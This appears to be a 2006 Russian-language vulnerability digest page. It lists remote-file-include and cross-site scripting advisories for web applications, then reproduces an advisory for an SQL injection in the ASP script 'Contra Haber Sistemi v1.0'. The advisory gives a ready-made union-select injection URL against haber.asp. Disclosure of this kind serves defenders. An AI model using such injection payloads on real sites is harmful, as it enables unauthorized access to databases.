Дополнительная информация

Ежедневная сводка ошибок в Web-приложениях (PHP, ASP, JSP, CGI, Perl )

mxBB Module Meeting <= 1.1. 2(meeting_constan ts.php) Remote File Include

mxBB Module Charts <= 1.0. 0(module_root_pat h) Remote File Include Vulnerability

mxBB Module WebLinks <= 2. 05(mx_root_path) Remote File Include Vulnerability

[HSC Security Group] SiteCatalyst Web Login Cross Site Vulrnabilities

From:	ShaFuq31_(at)_HoTMaiL.CoM <ShaFuq31_(at)_HoTMaiL.CoM>
Date:	16 декабря 2006 г.
Subject:	Contra Haber Sistemi v1.0 SqL Injection Vuln.

# LiderHack.Org & BhhGroup.Org

# script name : Contra Haber Sistemi v1.0

# Script Download : http://www.maxiasp.com/scriptler/Haber_Sistemi.rar

# Risk : High

# Found By : ShaFuck31

# Thanks : | Dekolax | The RйD | CyBorG | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT | BLaSTER |
B1G B0SS | UNiKnoX |

# Vulnerable file : haber.asp

#Vulnerable :

Vulnerable -----> http://victim.com/[path to script]/haber.asp?id=[SqL]
Vulnerable ----->http://victim.com/[path to
script]/haber.asp?id=-
1%20union%20select%20*%20from%20haberler%20where%20id
=82

#Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]